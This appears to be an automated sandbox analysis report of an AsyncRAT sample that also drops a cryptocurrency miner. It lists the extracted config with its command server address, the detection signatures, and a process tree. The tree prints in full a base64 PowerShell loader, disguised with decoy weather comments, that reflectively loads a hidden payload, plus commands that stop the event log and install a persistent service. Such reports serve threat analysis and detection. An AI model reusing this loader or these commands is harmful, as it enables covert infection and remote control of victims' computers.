Analysis

  • max time kernel
    150s
  • max time network
    147s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240412-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240412-enlocale:en-usos:windows10-2004-x64system
  • submitted
    14/04/2024, 01:01

General

  • Target
    ed999c2336844e7496640b910fa5bbe256197c978744f089b6ce5f592f88c01c.exe
  • Size 254KB
  • Sample240414-bdjtkafd2y
  • SHA256 ed999c2336844e7496640b910fa5bbe256197c978744f089b6ce5f592f88c01c
  • MD5 SHA1 SHA512 SSDEEP

Malware Config

Extracted

Family
  • asyncrat

Version
  • 0.5.8

Botnet
  • AsyncQuack

C2
  • 51.79.171.174:1337

Mutex
  • ZsS8yRZu5kON

Attributes
  • delay

    3

  • install

    false

  • install_folder

    %AppData%

aes.plain

Signatures

  • AsyncRat

    AsyncRAT is designed to remotely monitor and control other computers written in C#.

  • Detect ZGRat V1 1 IoCs
  • ZGRat

    ZGRat is remote access trojan written in C#.

  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • XMRig Miner payload 9 IoCs
  • Creates new service(s) 1 TTPs
  • Stops running service(s) 3 TTPs
  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Drops startup file 2 IoCs
  • Executes dropped EXE 2 IoCs
  • UPX packed file 14 IoCs

    Detects executables packed with UPX/modified UPX open source packer.

  • Suspicious use of SetThreadContext 3 IoCs
  • Launches sc.exe 4 IoCs

    Sc.exe is a Windows utlilty to control services on the system.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious use of AdjustPrivilegeToken 5 IoCs
  • Suspicious use of WriteProcessMemory 42 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\ed999c2336844e7496640b910fa5bbe256197c978744f089b6ce5f592f88c01c.exe
    "C:\Users\Admin\AppData\Local\Temp\ed999c2336844e7496640b910fa5bbe256197c978744f089b6ce5f592f88c01c.exe"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:2028
    • C:\Windows\SysWOW64\wscript.exe
      "wscript.exe" "C:\Users\Admin\start.vbs"
      2⤵
      • Checks computer location settings
      • Suspicious use of WriteProcessMemory
      PID:3924
      • C:\Windows\SysWOW64\cmd.exe
        C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\temp.bat" "
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:4568
        • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
          "C:\Windows\SysWow64\WindowsPowerShell\v1.0\powershell.exe" -command "[System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String('ZnVuY3Rpb24gRGVjb21wcmVzc0J5dGVzKCRjb21wcmVzc2VkRGF0YSkgeyAkbXMgPSBbSU8uTWVtb3J5U3RyZWFtXTo6bmV3KChbU3lzdGVtLkNvbnZlcnRdOjpGcm9tQmFzZTY0U3RyaW5nKCRjb21wcmVzc2VkRGF0YSkpKTsgJG1zLlBvc2l0aW9uID0gMDsgJGRlZmxhdGVTdHJlYW0gPSBbSU8uQ29tcHJlc3Npb24uRGVmbGF0ZVN0cmVhbV06Om5ldygkbXMsIFtJTy5Db21wcmVzc2lvbi5Db21wcmVzc2lvbk1vZGVdOjpEZWNvbXByZXNzKTsgJGJ1ZmZlciA9IFtieXRlW11dOjpuZXcoNDA5Nik7ICRtcyA9IFtJTy5NZW1vcnlTdHJlYW1dOjpuZXcoKTsgd2hpbGUgKCR0cnVlKSB7ICRjb3VudCA9ICRkZWZsYXRlU3RyZWFtLlJlYWQoJGJ1ZmZlciwgMCwgJGJ1ZmZlci5MZW5ndGgpOyBpZiAoJGNvdW50IC1lcSAwKSB7IGJyZWFrIH0gJG1zLldyaXRlKCRidWZmZXIsIDAsICRjb3VudCkgfSAkZGVmbGF0ZVN0cmVhbS5DbG9zZSgpOyAkbXMuVG9BcnJheSgpIH0NCiMgQ2hlY2tpbmcgY3VycmVudCB3ZWF0aGVyIGNvbmRpdGlvbnMuLi4NCiMgUmV0cmlldmluZyBkYXRhIGZyb20gd2VhdGhlciBBUEkuLi4NCiMgV2VhdGhlciBmb3JlY2FzdCBmb3IgdG9kYXk6DQojIC0gVGVtcGVyYXR1cmU6IDIzwrBDDQojIC0gSHVtaWRpdHk6IDY1JQ0KIyAtIFdpbmQgU3BlZWQ6IDEwIGttL2gNCiMgSXQncyBhIHBsZWFzYW50IGRheSBvdXRzaWRlLg0KIyBDb25zaWRlciB0YWtpbmcgYSB3YWxrIGR1cmluZyBsdW5jaCBicmVhayENCg0KZnVuY3Rpb24gUmV2ZXJzZVN0cmluZygkaW5wdXRTdHJpbmcpIHsNCiAgICAkY2hhckFycmF5ID0gJGlucHV0U3RyaW5nLlRvQ2hhckFycmF5KCkgICMgQ29udmVydCBzdHJpbmcgdG8gY2hhcmFjdGVyIGFycmF5DQogICAgJHJldmVyc2VkQXJyYXkgPSAkY2hhckFycmF5Wy0xLi4tKCRjaGFyQXJyYXkuTGVuZ3RoKV0gICMgUmV2ZXJzZSB0aGUgYXJyYXkNCiAgICAkcmV2ZXJzZWRTdHJpbmcgPSAtam9pbiAkcmV2ZXJzZWRBcnJheSAgIyBDb252ZXJ0IHRoZSByZXZlcnNlZCBhcnJheSBiYWNrIHRvIGEgc3RyaW5nDQogICAgcmV0dXJuICRyZXZlcnNlZFN0cmluZw0KfQ0KDQpmdW5jdGlvbiBDbG9zZS1Qcm9jZXNzIHsNCiAgICBwYXJhbSgNCiAgICAgICAgW3N0cmluZ10kUHJvY2Vzc05hbWUNCiAgICApDQoNCiAgICAkcHJvY2VzcyA9IEdldC1Qcm9jZXNzIC1OYW1lICRQcm9jZXNzTmFtZSAtRXJyb3JBY3Rpb24gU2lsZW50bHlDb250aW51ZQ0KDQogICAgaWYgKCRwcm9jZXNzIC1uZSAkbnVsbCkgew0KICAgICAgICBTdG9wLVByb2Nlc3MgLU5hbWUgJFByb2Nlc3NOYW1lIC1Gb3JjZQ0KCX0NCn0NCg0KZnVuY3Rpb24gQ05WKCRhcnIpeyANCiAgICAkbz0xMjM7IA0KICAgICRkPSRudWxsOyANCiAgICBmb3JlYWNoKCRpIGluICRhcnIpeyANCiAgICAgICAgaWYgKCRpIC1ndCAxMjcpIHsgDQogICAgICAgICAgICAkZCs9IFtjaGFyXSgkaS0kbykgDQogICAgICAgIH0gZWxzZSB7IA0KICAgICAgICAgICAgJGQrPSBbY2hhcl0oJGkrJG8pIA0KICAgICAgICB9IA0KICAgIH0gDQogICAgcmV0dXJuICRkIA0KfQ0KDQoNCiRlbmNvZGVkQXJyYXkgPSBAKDE1OSwyMjAsMjM4LDIzOCwyMjQsMjMyLDIyMSwyMzEsMjQ0LDE2OSwxOTIsMjMzLDIzOSwyMzcsMjQ0LDIwMywyMzQsMjI4LDIzMywyMzksMTY5LDE5NiwyMzMsMjQxLDIzNCwyMzAsMjI0LDE2MywxNTksMjMzLDI0MCwyMzEsMjMxLDE2NywxNTksMjMzLDI0MCwyMzEsMjMxLDE2NCwxODIpDQokZGVjb2RlZFN0cmluZyA9IENOViAkZW5jb2RlZEFycmF5DQoNCg0KJGZpbGVQYXRoID0gSm9pbi1QYXRoICRlbnY6VXNlclByb2ZpbGUgImN2dHJlcy5iYXQiDQokbGFzdExpbmUgPSBHZXQtQ29udGVudCAtUGF0aCAkZmlsZVBhdGggfCBTZWxlY3QtT2JqZWN0IC1MYXN0IDENCiRjbGVhbmVkTGluZSA9ICRsYXN0TGluZSAtcmVwbGFjZSAnXjo6Jw0KJHJldmVyc2UgPSBSZXZlcnNlU3RyaW5nICRjbGVhbmVkTGluZQ0KJGRlY29tcHJlc3NlZEJ5dGUgPSBEZWNvbXByZXNzQnl0ZXMgLWNvbXByZXNzZWREYXRhICRyZXZlcnNlDQoNCiRhc3NlbWJseSA9IFtTeXN0ZW0uUmVmbGVjdGlvbi5Bc3NlbWJseV06OkxvYWQoW2J5dGVbXV0kZGVjb21wcmVzc2VkQnl0ZSkNCg0KJGFzc2VtYmx5ID0gW1N5c3RlbS5SZWZsZWN0aW9uLkFzc2VtYmx5XTo6TG9hZChbYnl0ZVtdXSRkZWNvbXByZXNzZWRCeXRlKQ0KDQpJbnZva2UtRXhwcmVzc2lvbiAkZGVjb2RlZFN0cmluZw0KDQpDbG9zZS1Qcm9jZXNzIC1Qcm9jZXNzTmFtZSAiY21kIg==')) | Out-File -FilePath 'C:\Users\Admin\cvtres.ps1' -Encoding UTF8"
          4⤵
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:1464
        • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
          "C:\Windows\SysWow64\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass -File "C:\Users\Admin\cvtres.ps1"
          4⤵
          • Drops startup file
          • Suspicious use of SetThreadContext
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          • Suspicious use of WriteProcessMemory
          PID:4456
          • C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe
            "C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe"
            5⤵
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of AdjustPrivilegeToken
            • Suspicious use of WriteProcessMemory
            PID:3132
            • C:\Windows\SysWOW64\cmd.exe
              "C:\Windows\System32\cmd.exe" /c start /b powershell –ExecutionPolicy Bypass Start-Process -FilePath '"C:\Users\Admin\AppData\Local\Temp\bbgbad.exe"' & exit
              6⤵
              • Suspicious use of WriteProcessMemory
              PID:4964
              • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                powershell –ExecutionPolicy Bypass Start-Process -FilePath '"C:\Users\Admin\AppData\Local\Temp\bbgbad.exe"'
                7⤵
                • Suspicious behavior: EnumeratesProcesses
                • Suspicious use of AdjustPrivilegeToken
                • Suspicious use of WriteProcessMemory
                PID:2588
                • C:\Users\Admin\AppData\Local\Temp\bbgbad.exe
                  "C:\Users\Admin\AppData\Local\Temp\bbgbad.exe"
                  8⤵
                  • Executes dropped EXE
                  • Suspicious behavior: EnumeratesProcesses
                  PID:4312
                  • C:\Windows\system32\sc.exe
                    C:\Windows\system32\sc.exe delete "CSYIOKTO"
                    9⤵
                    • Launches sc.exe
                    PID:4940
                  • C:\Windows\system32\sc.exe
                    C:\Windows\system32\sc.exe create "CSYIOKTO" binpath= "C:\ProgramData\qrltmelmszsx\plictnofwulz.exe" start= "auto"
                    9⤵
                    • Launches sc.exe
                    PID:2876
                  • C:\Windows\system32\sc.exe
                    C:\Windows\system32\sc.exe stop eventlog
                    9⤵
                    • Launches sc.exe
                    PID:2208
                  • C:\Windows\system32\sc.exe
                    C:\Windows\system32\sc.exe start "CSYIOKTO"
                    9⤵
                    • Launches sc.exe
                    PID:3888
  • C:\ProgramData\qrltmelmszsx\plictnofwulz.exe
    C:\ProgramData\qrltmelmszsx\plictnofwulz.exe
    1⤵
    • Executes dropped EXE
    • Suspicious use of SetThreadContext
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of WriteProcessMemory
    PID:1744
    • C:\Windows\system32\conhost.exe
      C:\Windows\system32\conhost.exe
      2⤵
        PID:4120
      • C:\Windows\system32\conhost.exe
        conhost.exe
        2⤵
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:1108

    Network

          MITRE ATT&CK Enterprise v15

          Replay Monitor

          Loading Replay Monitor...

          Downloads

          powershell.exe.log

          • Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\powershell.exe.log
          • Size 1KB
          • SHA256 e2486a1bdcba80dad6dd6210d7374bd70ae196a523c06ceda71370fd3ea78359
          • MD5 SHA1 SHA512

          StartupProfileData-NonInteractive

          • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
          • Size 16KB
          • SHA256 6043e05d1bc9fd3ce61b38a6930050568ccd5f8c895c5d6940465737a2fb147b
          • MD5 SHA1 SHA512 SSDEEP

          StartupProfileData-NonInteractive

          • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
          • Size 18KB
          • SHA256 deed662f46239ef9cde02d43bb43225eb67e41163e9f39b907ded29d09b9a0cc
          • MD5 SHA1 SHA512 SSDEEP

          __PSScriptPolicyTest_gvh0hsdd.51b.ps1

          • Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_gvh0hsdd.51b.ps1
          • Size 60B
          • SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
          • MD5 SHA1 SHA512

          bbgbad.exe

          • Path C:\Users\Admin\AppData\Local\Temp\bbgbad.exe
          • Size 2.5MB
          • SHA256 b30dae4b165316483cfb7b901412020abafdc8f2ec9f33adfa0548a1d5f6a2a2
          • MD5 SHA1 SHA512 SSDEEP

          cvtres.ps1

          • Path C:\Users\Admin\cvtres.ps1
          • Size 2KB
          • SHA256 5fe00575bf949f07e2540dc9b6e90e3c0d72b2f37039830c4abc2285f835d104
          • MD5 SHA1 SHA512

          start.vbs

          • Path C:\Users\Admin\start.vbs
          • Size 143B
          • SHA256 8b1c9f37b2455175f260534847aed717824f8a1213696af8c2a0a485fb3576b6
          • MD5 SHA1 SHA512

          temp.bat

          • Path C:\Users\Admin\temp.bat
          • Size 196KB
          • SHA256 8df69a87548f9cec8c2086d95f1871bc9c946c0fc737cdb16e0f8bebd9e761e7
          • MD5 SHA1 SHA512 SSDEEP

          memory/1108-101-0x0000000140000000-0x0000000140848000-memory.dmp

          memory/1108-107-0x0000000140000000-0x0000000140848000-memory.dmp

          memory/1108-98-0x0000000140000000-0x0000000140848000-memory.dmp

          memory/1108-99-0x0000000140000000-0x0000000140848000-memory.dmp

          memory/1108-100-0x0000000140000000-0x0000000140848000-memory.dmp

          memory/1108-97-0x0000000140000000-0x0000000140848000-memory.dmp

          memory/1108-102-0x0000000140000000-0x0000000140848000-memory.dmp

          memory/1108-103-0x0000000140000000-0x0000000140848000-memory.dmp

          memory/1108-104-0x000001313EA30000-0x000001313EA50000-memory.dmp

          memory/1108-105-0x0000000140000000-0x0000000140848000-memory.dmp

          memory/1108-114-0x000001313EF60000-0x000001313EF80000-memory.dmp

          memory/1108-113-0x000001313EF60000-0x000001313EF80000-memory.dmp

          memory/1108-112-0x0000000140000000-0x0000000140848000-memory.dmp

          memory/1108-106-0x0000000140000000-0x0000000140848000-memory.dmp

          memory/1108-108-0x0000000140000000-0x0000000140848000-memory.dmp

          memory/1108-111-0x0000000140000000-0x0000000140848000-memory.dmp

          memory/1108-110-0x000001313EAA0000-0x000001313EAC0000-memory.dmp

          memory/1108-109-0x0000000140000000-0x0000000140848000-memory.dmp

          memory/1464-23-0x0000000006110000-0x0000000006464000-memory.dmp

          memory/1464-13-0x00000000060A0000-0x0000000006106000-memory.dmp

          memory/1464-10-0x0000000005950000-0x0000000005F78000-memory.dmp

          memory/1464-11-0x0000000005850000-0x0000000005872000-memory.dmp

          memory/1464-31-0x0000000074730000-0x0000000074EE0000-memory.dmp

          memory/1464-27-0x0000000006B30000-0x0000000006B4A000-memory.dmp

          memory/1464-26-0x0000000007F20000-0x000000000859A000-memory.dmp

          memory/1464-25-0x0000000006630000-0x000000000667C000-memory.dmp

          memory/1464-24-0x00000000065E0000-0x00000000065FE000-memory.dmp

          memory/1464-8-0x0000000005310000-0x0000000005320000-memory.dmp

          memory/1464-6-0x0000000005230000-0x0000000005266000-memory.dmp

          memory/1464-12-0x0000000006030000-0x0000000006096000-memory.dmp

          memory/1464-9-0x0000000005310000-0x0000000005320000-memory.dmp

          memory/1464-7-0x0000000074730000-0x0000000074EE0000-memory.dmp

          memory/2588-67-0x0000000004DE0000-0x0000000004DF0000-memory.dmp

          memory/2588-75-0x0000000005A50000-0x0000000005DA4000-memory.dmp

          memory/2588-68-0x0000000004DE0000-0x0000000004DF0000-memory.dmp

          memory/2588-80-0x0000000006000000-0x000000000604C000-memory.dmp

          memory/2588-66-0x0000000074730000-0x0000000074EE0000-memory.dmp

          memory/2588-84-0x0000000074730000-0x0000000074EE0000-memory.dmp

          memory/3132-61-0x0000000006640000-0x00000000066B6000-memory.dmp

          memory/3132-62-0x00000000065C0000-0x0000000006622000-memory.dmp

          memory/3132-57-0x0000000074730000-0x0000000074EE0000-memory.dmp

          memory/3132-59-0x0000000005010000-0x0000000005020000-memory.dmp

          memory/3132-60-0x0000000005300000-0x000000000539C000-memory.dmp

          memory/3132-54-0x0000000000400000-0x0000000000412000-memory.dmp

          memory/3132-63-0x0000000006720000-0x000000000673E000-memory.dmp

          memory/3132-85-0x0000000005010000-0x0000000005020000-memory.dmp

          memory/3132-65-0x0000000074730000-0x0000000074EE0000-memory.dmp

          memory/4120-89-0x0000000140000000-0x000000014000D000-memory.dmp

          memory/4120-90-0x0000000140000000-0x000000014000D000-memory.dmp

          memory/4120-96-0x0000000140000000-0x000000014000D000-memory.dmp

          memory/4120-93-0x0000000140000000-0x000000014000D000-memory.dmp

          memory/4120-92-0x0000000140000000-0x000000014000D000-memory.dmp

          memory/4120-91-0x0000000140000000-0x000000014000D000-memory.dmp

          memory/4456-58-0x0000000074730000-0x0000000074EE0000-memory.dmp

          memory/4456-56-0x0000000077191000-0x00000000772B1000-memory.dmp

          memory/4456-53-0x0000000005070000-0x000000000507A000-memory.dmp

          memory/4456-51-0x0000000005FC0000-0x000000000600E000-memory.dmp

          memory/4456-49-0x0000000007A50000-0x0000000007FF4000-memory.dmp

          memory/4456-48-0x0000000007290000-0x00000000072B2000-memory.dmp

          memory/4456-47-0x00000000073E0000-0x0000000007476000-memory.dmp

          memory/4456-40-0x0000000005C50000-0x0000000005FA4000-memory.dmp

          memory/4456-33-0x0000000074730000-0x0000000074EE0000-memory.dmp

          memory/4456-34-0x0000000004FE0000-0x0000000004FF0000-memory.dmp